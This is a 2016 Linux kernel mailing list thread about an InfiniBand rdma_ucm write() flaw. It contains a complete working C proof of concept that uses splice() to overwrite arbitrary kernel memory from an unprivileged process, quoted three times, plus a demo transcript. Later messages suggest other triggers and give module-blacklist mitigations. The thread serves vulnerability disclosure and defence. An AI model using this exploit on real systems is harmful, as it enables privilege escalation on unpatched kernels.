Re: [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface'

Re: [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface'

[Yann Droneaud]

Hi,

Le samedi 07 mai 2016 à 06:22 +0200, Salvatore Bonaccorso a écrit :
> 
> Jann Horn reported an issue in the infiniband stack. It has been
> fixed
> in v4.6-rc6 with commit e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3:
> 
> https://git.kernel.org/linus/e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3
> 
> > 
> > IB/security: Restrict use of the write() interface
> > The drivers/infiniband stack uses write() as a replacement for
> > bi-directional ioctl().  This is not safe. There are ways to
> > trigger write calls that result in the return structure that
> > is normally written to user space being shunted off to user
> > specified kernel memory instead.
> > 

That's an interesting issue.

I thought access_ok() done as part of copy_to_user() would protect from
such unwelcomed behavior. But it's not if the kernel invoke write()
handler outside of a user process.

Anyway, as I don't see yet how to reproduce the issue, is there a PoC
available, I would be interested by a mean to trigger such write().

Regards.

-- 
Yann Droneaud
OPTEYA

--
To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface'

[Christoph Hellwig]

On Sat, May 07, 2016 at 08:19:46PM +0200, Yann Droneaud wrote:
> I thought access_ok() done as part of copy_to_user() would protect from
> such unwelcomed behavior. But it's not if the kernel invoke write()
> handler outside of a user process.

It does.  Core dumps are an obious example, although I fail to see
how an unprivilegued user could set the core dump pattern to involve
an IB uverbs device.  The other hint in the patch is that it checks
for the credentials, which suggests suid/sgid binaries are part of
the issue.

But the combination of the write abuse and allowing users to use the
device nodes is bound to be lethal sooner or later, so I'm not surprised
about issues popping up.
--
To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface'

[Jann Horn]

[-- Attachment #1: Type: text/plain, Size: 5377 bytes --]

On Sat, May 07, 2016 at 08:19:46PM +0200, Yann Droneaud wrote:
> Hi,
> 
> Le samedi 07 mai 2016 à 06:22 +0200, Salvatore Bonaccorso a écrit :
> > 
> > Jann Horn reported an issue in the infiniband stack. It has been
> > fixed
> > in v4.6-rc6 with commit e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3:
> > 
> > https://git.kernel.org/linus/e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3
> > 
> > > 
> > > IB/security: Restrict use of the write() interface
> > > The drivers/infiniband stack uses write() as a replacement for
> > > bi-directional ioctl().  This is not safe. There are ways to
> > > trigger write calls that result in the return structure that
> > > is normally written to user space being shunted off to user
> > > specified kernel memory instead.
> > > 
> 
> That's an interesting issue.
> 
> I thought access_ok() done as part of copy_to_user() would protect from
> such unwelcomed behavior. But it's not if the kernel invoke write()
> handler outside of a user process.
> 
> Anyway, as I don't see yet how to reproduce the issue, is there a PoC
> available, I would be interested by a mean to trigger such write().

Here is my writeup of the issue that I made quite a while ago - the
timeline is missing some of the more recent stuff, but meh.

======================================================


Here is a PoC that can be used to clobber data at arbitrary
writable kernel addresses if the rdma_ucm module is loaded (without
actually needing Infiniband hardware to be present):

=====
#define _GNU_SOURCE
#include <limits.h>
#include <errno.h>
#include <err.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <rdma/rdma_user_cm.h>

#define RDMA_PS_TCP 0x0106

// This method forces the kernel to write arbitrary data to the
// target fd under set_fs(KERNEL_DS), bypassing address limit
// checks in anything that extracts pointers from written data.
int write_without_addr_limit(int fd, char *buf, size_t len) {
  int pipefds[2];
  if (pipe(pipefds))
    return -1;
  ssize_t len_ = write(pipefds[1], buf, len);
  if (len == -1)
    return -1;
  int res = splice(pipefds[0], NULL, fd, NULL, len_, 0);
  int errno_ = errno;
  close(pipefds[0]);
  close(pipefds[1]);
  errno = errno_;
  return res;
}

int clobber_kaddr(unsigned long kaddr) {
  // open infiniband fd
  int fd = open("/dev/infiniband/rdma_cm", O_RDWR);
  if (fd == -1)
    err(1, "unable to open /dev/infiniband/rdma_cm - maybe the RDMA kernel module isn't loaded?");

  // craft malicious write buffer
  // structure:
  //   struct rdma_ucm_cmd_hdr hdr
  //   struct rdma_ucm_create_id cmd
  char buf[sizeof(struct rdma_ucm_cmd_hdr) + sizeof(struct rdma_ucm_create_id)];
  struct rdma_ucm_cmd_hdr *hdr = (void*)buf;
  struct rdma_ucm_create_id *cmd = (void*)(buf + sizeof(struct rdma_ucm_cmd_hdr));
  hdr->cmd = RDMA_USER_CM_CMD_CREATE_ID;
  hdr->in = 0;
  hdr->out = sizeof(struct rdma_ucm_create_id_resp);
  cmd->ps = RDMA_PS_TCP;
  cmd->response = kaddr;

  int res = write_without_addr_limit(fd, buf, sizeof(buf));
  int errno_ = errno;
  close(fd);
  errno = errno_;
  return res;
}

int main(int argc, char **argv) {
  if (argc != 2)
    errx(1, "want one argument (kernel address to clobber)");
  char *endp;
  unsigned long kaddr = strtoul(argv[1], &endp, 0);
  if (kaddr == ULONG_MAX || *endp || endp == argv[1])
    errx(1, "bad input number");

  int r = clobber_kaddr(kaddr);
  if (r >= 0) {
    printf("that probably worked? clobber_kaddr(0x%lx)=%d\n", kaddr, r);
    return 0;
  } else {
    printf("failed: %m\n");
    return 1;
  }
}
=====

And here is an example that shows that this indeed works, tested
on a Debian distro kernel:

First, as root (warning: this will make the currently running system exploitable):
root@debian:~# modprobe rdma_ucm

Now, as attacker:
user@debian:~$ cat /proc/sys/vm/swappiness
60
user@debian:~$ ls -l /dev/infiniband/rdma_cm
crw-rw-rw- 1 root root 10, 59 Jan  9 23:07 /dev/infiniband/rdma_cm
user@debian:~$ gdb -q -ex 'print &vm_swappiness' -ex quit /usr/lib/debug/boot/vmlinux-$(uname -r)
Reading symbols from /usr/lib/debug/boot/vmlinux-3.16.0-4-amd64...done.
$1 = (int *) 0xffffffff81861760 <vm_swappiness>
user@debian:~$ gcc -Wall -std=gnu99 -o infiniwrite infiniwrite.c
user@debian:~$ ./infiniwrite 0xffffffff81861760
that probably worked? clobber_kaddr(0xffffffff81861760)=32
user@debian:~$ cat /proc/sys/vm/swappiness
0

As you can see, the vm_swappiness variable in kernelspace was
overwritten by an unprivileged userspace process.

Timeline:
2015-09-11 initial report to security-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org and infiniband maintainers;
        exploitability isn't entirely clear to me yet
2015-09-11 infiniband maintainer responds, but apparently doesn't see an issue
2015-12-26 I figure out the splice trick and ask the infiniband maintainers to
        fix the issue
2015-12-26 Andy Lutomirski asks the infiniband maintainers to fix the issue and
        break the ABI if necessary
2016-01-25 I send the PoC contained in this message to security-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org and
        the infiniband maintainers and ask them again to fix the issue.


[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface'

[Yann Droneaud]

[Cc: oss-security-ZwoEplunGu1jrUoiu81ncdBPR1lH4CV8@public.gmane.org]

Hi,

Le lundi 09 mai 2016 à 20:02 +0200, Jann Horn a écrit :
> On Sat, May 07, 2016 at 08:19:46PM +0200, Yann Droneaud wrote:
> > Le samedi 07 mai 2016 à 06:22 +0200, Salvatore Bonaccorso a écrit :
> > > 
> > >  
> > > Jann Horn reported an issue in the infiniband stack. It has been
> > > fixed in v4.6-rc6 with commit
> > > e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3:
> > > 
> > > https://git.kernel.org/linus/e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3
> > > 
> > > > 
> > > > 
> > > > IB/security: Restrict use of the write() interface
> > > > The drivers/infiniband stack uses write() as a replacement for
> > > > bi-directional ioctl().  This is not safe. There are ways to
> > > > trigger write calls that result in the return structure that
> > > > is normally written to user space being shunted off to user
> > > > specified kernel memory instead.
> > > > 
> > That's an interesting issue.
> > 
> > I thought access_ok() done as part of copy_to_user() would protect
> > from such unwelcomed behavior. But it's not if the kernel invoke
> > write() handler outside of a user process.
> > 
> > Anyway, as I don't see yet how to reproduce the issue, is there a
> > PoC available, I would be interested by a mean to trigger such
> > write().

> Here is my writeup of the issue that I made quite a while ago - the
> timeline is missing some of the more recent stuff, but meh.
> 
> ======================================================
> 
> 
> Here is a PoC that can be used to clobber data at arbitrary
> writable kernel addresses if the rdma_ucm module is loaded (without
> actually needing Infiniband hardware to be present):
> 
> =====
> #define _GNU_SOURCE
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> 
> #include 
> #include 
> #include 
> #include 
> #include 
> 
> #define RDMA_PS_TCP 0x0106
> 
> // This method forces the kernel to write arbitrary data to the
> // target fd under set_fs(KERNEL_DS), bypassing address limit
> // checks in anything that extracts pointers from written data.
> int write_without_addr_limit(int fd, char *buf, size_t len) {
>   int pipefds[2];
>   if (pipe(pipefds))
>     return -1;
>   ssize_t len_ = write(pipefds[1], buf, len);
>   if (len == -1)
>     return -1;
>   int res = splice(pipefds[0], NULL, fd, NULL, len_, 0);
>   int errno_ = errno;
>   close(pipefds[0]);
>   close(pipefds[1]);
>   errno = errno_;
>   return res;
> }
> 
> int clobber_kaddr(unsigned long kaddr) {
>   // open infiniband fd
>   int fd = open("/dev/infiniband/rdma_cm", O_RDWR);
>   if (fd == -1)
>     err(1, "unable to open /dev/infiniband/rdma_cm - maybe the RDMA kernel module isn't loaded?");
> 
>   // craft malicious write buffer
>   // structure:
>   //   struct rdma_ucm_cmd_hdr hdr
>   //   struct rdma_ucm_create_id cmd
>   char buf[sizeof(struct rdma_ucm_cmd_hdr) + sizeof(struct rdma_ucm_create_id)];
>   struct rdma_ucm_cmd_hdr *hdr = (void*)buf;
>   struct rdma_ucm_create_id *cmd = (void*)(buf + sizeof(struct rdma_ucm_cmd_hdr));
>   hdr->cmd = RDMA_USER_CM_CMD_CREATE_ID;
>   hdr->in = 0;
>   hdr->out = sizeof(struct rdma_ucm_create_id_resp);
>   cmd->ps = RDMA_PS_TCP;
>   cmd->response = kaddr;
> 
>   int res = write_without_addr_limit(fd, buf, sizeof(buf));
>   int errno_ = errno;
>   close(fd);
>   errno = errno_;
>   return res;
> }
> 
> int main(int argc, char **argv) {
>   if (argc != 2)
>     errx(1, "want one argument (kernel address to clobber)");
>   char *endp;
>   unsigned long kaddr = strtoul(argv[1], &endp, 0);
>   if (kaddr == ULONG_MAX || *endp || endp == argv[1])
>     errx(1, "bad input number");
> 
>   int r = clobber_kaddr(kaddr);
>   if (r >= 0) {
>     printf("that probably worked? clobber_kaddr(0x%lx)=%d\n", kaddr, r);
>     return 0;
>   } else {
>     printf("failed: %m\n");
>     return 1;
>   }
> }


Is this only achievable through splice() ?


> =====
> 
> And here is an example that shows that this indeed works, tested
> on a Debian distro kernel:
> 
> First, as root (warning: this will make the currently running system
> exploitable):
> root@debian:~# modprobe rdma_ucm
> 
> Now, as attacker:
> user@debian:~$ cat /proc/sys/vm/swappiness
> 60
> user@debian:~$ ls -l /dev/infiniband/rdma_cm
> crw-rw-rw- 1 root root 10, 59 Jan  9 23:07 /dev/infiniband/rdma_cm
> user@debian:~$ gdb -q -ex 'print &vm_swappiness' -ex quit
> /usr/lib/debug/boot/vmlinux-$(uname -r)
> Reading symbols from /usr/lib/debug/boot/vmlinux-3.16.0-4-
> amd64...done.
> $1 = (int *) 0xffffffff81861760 <vm_swappiness>
> user@debian:~$ gcc -Wall -std=gnu99 -o infiniwrite infiniwrite.c
> user@debian:~$ ./infiniwrite 0xffffffff81861760
> that probably worked? clobber_kaddr(0xffffffff81861760)=32
> user@debian:~$ cat /proc/sys/vm/swappiness
> 0
> 
> As you can see, the vm_swappiness variable in kernelspace was
> overwritten by an unprivileged userspace process.
> 
> Timeline:
> 2015-09-11 initial report to security-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org and infiniband maintainers;
>         exploitability isn't entirely clear to me yet
> 2015-09-11 infiniband maintainer responds, but apparently doesn't see an issue
> 2015-12-26 I figure out the splice trick and ask the infiniband maintainers to
>         fix the issue
> 2015-12-26 Andy Lutomirski asks the infiniband maintainers to fix the issue and
>         break the ABI if necessary
> 2016-01-25 I send the PoC contained in this message to security@kernel.org and
>         the infiniband maintainers and ask them again to fix the issue.
> 

Thanks a lot !

Regards.

-- 
Yann Droneaud
OPTEYA


--
To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface'

[Jann Horn]

[-- Attachment #1: Type: text/plain, Size: 4654 bytes --]

On Mon, May 09, 2016 at 09:10:41PM +0200, Yann Droneaud wrote:
> [Cc: oss-security-ZwoEplunGu1jrUoiu81ncdBPR1lH4CV8@public.gmane.org]
> 
> Hi,
> 
> Le lundi 09 mai 2016 à 20:02 +0200, Jann Horn a écrit :
> > On Sat, May 07, 2016 at 08:19:46PM +0200, Yann Droneaud wrote:
> > > Le samedi 07 mai 2016 à 06:22 +0200, Salvatore Bonaccorso a écrit :
> > > > 
> > > >  
> > > > Jann Horn reported an issue in the infiniband stack. It has been
> > > > fixed in v4.6-rc6 with commit
> > > > e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3:
> > > > 
> > > > https://git.kernel.org/linus/e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3
> > > > 
> > > > > 
> > > > > 
> > > > > IB/security: Restrict use of the write() interface
> > > > > The drivers/infiniband stack uses write() as a replacement for
> > > > > bi-directional ioctl().  This is not safe. There are ways to
> > > > > trigger write calls that result in the return structure that
> > > > > is normally written to user space being shunted off to user
> > > > > specified kernel memory instead.
> > > > > 
> > > That's an interesting issue.
> > > 
> > > I thought access_ok() done as part of copy_to_user() would protect
> > > from such unwelcomed behavior. But it's not if the kernel invoke
> > > write() handler outside of a user process.
> > > 
> > > Anyway, as I don't see yet how to reproduce the issue, is there a
> > > PoC available, I would be interested by a mean to trigger such
> > > write().
> 
> > Here is my writeup of the issue that I made quite a while ago - the
> > timeline is missing some of the more recent stuff, but meh.
> > 
> > ======================================================
> > 
> > 
> > Here is a PoC that can be used to clobber data at arbitrary
> > writable kernel addresses if the rdma_ucm module is loaded (without
> > actually needing Infiniband hardware to be present):
> > 
> > =====
> > #define _GNU_SOURCE
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > 
> > #define RDMA_PS_TCP 0x0106
> > 
> > // This method forces the kernel to write arbitrary data to the
> > // target fd under set_fs(KERNEL_DS), bypassing address limit
> > // checks in anything that extracts pointers from written data.
> > int write_without_addr_limit(int fd, char *buf, size_t len) {
> >   int pipefds[2];
> >   if (pipe(pipefds))
> >     return -1;
> >   ssize_t len_ = write(pipefds[1], buf, len);
> >   if (len == -1)
> >     return -1;
> >   int res = splice(pipefds[0], NULL, fd, NULL, len_, 0);
> >   int errno_ = errno;
> >   close(pipefds[0]);
> >   close(pipefds[1]);
> >   errno = errno_;
> >   return res;
> > }
> > 
> > int clobber_kaddr(unsigned long kaddr) {
> >   // open infiniband fd
> >   int fd = open("/dev/infiniband/rdma_cm", O_RDWR);
> >   if (fd == -1)
> >     err(1, "unable to open /dev/infiniband/rdma_cm - maybe the RDMA kernel module isn't loaded?");
> > 
> >   // craft malicious write buffer
> >   // structure:
> >   //   struct rdma_ucm_cmd_hdr hdr
> >   //   struct rdma_ucm_create_id cmd
> >   char buf[sizeof(struct rdma_ucm_cmd_hdr) + sizeof(struct rdma_ucm_create_id)];
> >   struct rdma_ucm_cmd_hdr *hdr = (void*)buf;
> >   struct rdma_ucm_create_id *cmd = (void*)(buf + sizeof(struct rdma_ucm_cmd_hdr));
> >   hdr->cmd = RDMA_USER_CM_CMD_CREATE_ID;
> >   hdr->in = 0;
> >   hdr->out = sizeof(struct rdma_ucm_create_id_resp);
> >   cmd->ps = RDMA_PS_TCP;
> >   cmd->response = kaddr;
> > 
> >   int res = write_without_addr_limit(fd, buf, sizeof(buf));
> >   int errno_ = errno;
> >   close(fd);
> >   errno = errno_;
> >   return res;
> > }
> > 
> > int main(int argc, char **argv) {
> >   if (argc != 2)
> >     errx(1, "want one argument (kernel address to clobber)");
> >   char *endp;
> >   unsigned long kaddr = strtoul(argv[1], &endp, 0);
> >   if (kaddr == ULONG_MAX || *endp || endp == argv[1])
> >     errx(1, "bad input number");
> > 
> >   int r = clobber_kaddr(kaddr);
> >   if (r >= 0) {
> >     printf("that probably worked? clobber_kaddr(0x%lx)=%d\n", kaddr, r);
> >     return 0;
> >   } else {
> >     printf("failed: %m\n");
> >     return 1;
> >   }
> > }
> 
> 
> Is this only achievable through splice() ?

sendfile() and the new copy_file_range() syscall (in kernel >=4.5) would
probably both work, too - they all use the splice mechanism internally.

ecryptfs also calls the VFS methods of the lower filesystem under KERNEL_DS
iirc, it might also be possible to attack infiniband that way.

[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface'

[Yann Droneaud]

Hi,

Le samedi 07 mai 2016 à 06:22 +0200, Salvatore Bonaccorso a écrit :
> 
> Jann Horn reported an issue in the infiniband stack. It has been
> fixed
> in v4.6-rc6 with commit e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3:
> 
> https://git.kernel.org/linus/e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3
> 
> > 
> > IB/security: Restrict use of the write() interface
> > The drivers/infiniband stack uses write() as a replacement for
> > bi-directional ioctl().  This is not safe. There are ways to
> > trigger write calls that result in the return structure that
> > is normally written to user space being shunted off to user
> > specified kernel memory instead.
> > 
> > For the immediate repair, detect and deny suspicious accesses to
> > the write API.
> > 
> > For long term, update the user space libraries and the kernel API
> > to something that doesn't present the same security vulnerabilities
> > (likely a structured ioctl() interface).
> > 
> > The impacted uAPI interfaces are generally only available if
> > hardware from drivers/infiniband is installed in the system.

As a workaround, I would suggest that systems which do not require
(userspace) RDMA/Infiniband to blacklist/remove the following modules:

  rdma_ucm
  ib_uverbs
  ib_ucm
  ib_umad

For example, adds the following in /etc/modprobe.d/blacklist.conf

  blacklist rdma_ucm
  blacklist ib_uverbs
  blacklist ib_ucm
  blacklist ib_umad

Those building their own kernel might want to disable, if not already,

  CONFIG_INFINIBAND_USER_ACCESS, 
  CONFIG_INFINIBAND_USER_MAD,
  CONFIG_INFINIBAND_ADDR_TRANS

(Unfortunately the last one will also disable those features:
  iSCSI Extensions for RDMA (iSER)
  iSCSI Extensions for RDMA (iSER) target support
  RDS over Infiniband and iWARP
  9P RDMA Transport (Experimental)
  RPC-over-RDMA transport
    (which actually disable NFSoRDMA))

Regards.

-- 
Yann Droneaud
OPTEYA

--
To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface'

[ira.weiny]

On Mon, May 09, 2016 at 09:48:59PM +0200, Yann Droneaud wrote:
> Hi,
> 
> 
> As a workaround, I would suggest that systems which do not require
> (userspace) RDMA/Infiniband to blacklist/remove the following modules:
> 
>   rdma_ucm
>   ib_uverbs
>   ib_ucm
>   ib_umad

NOTE: AFAICT ib_umad is not vulnerable as it uses correct write/read semantics.
However, if you are disabling the other modules you probably have no use for
ib_umad either.

Ira

> 
> For example, adds the following in /etc/modprobe.d/blacklist.conf
> 
>   blacklist rdma_ucm
>   blacklist ib_uverbs
>   blacklist ib_ucm
>   blacklist ib_umad
> 
> Those building their own kernel might want to disable, if not already,
> 
>   CONFIG_INFINIBAND_USER_ACCESS, 
>   CONFIG_INFINIBAND_USER_MAD,
>   CONFIG_INFINIBAND_ADDR_TRANS
> 
> (Unfortunately the last one will also disable those features:
>   iSCSI Extensions for RDMA (iSER)
>   iSCSI Extensions for RDMA (iSER) target support
>   RDS over Infiniband and iWARP
>   9P RDMA Transport (Experimental)
>   RPC-over-RDMA transport
>     (which actually disable NFSoRDMA))
> 
> Regards.
> 
> -- 
> Yann Droneaud
> OPTEYA
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
> the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html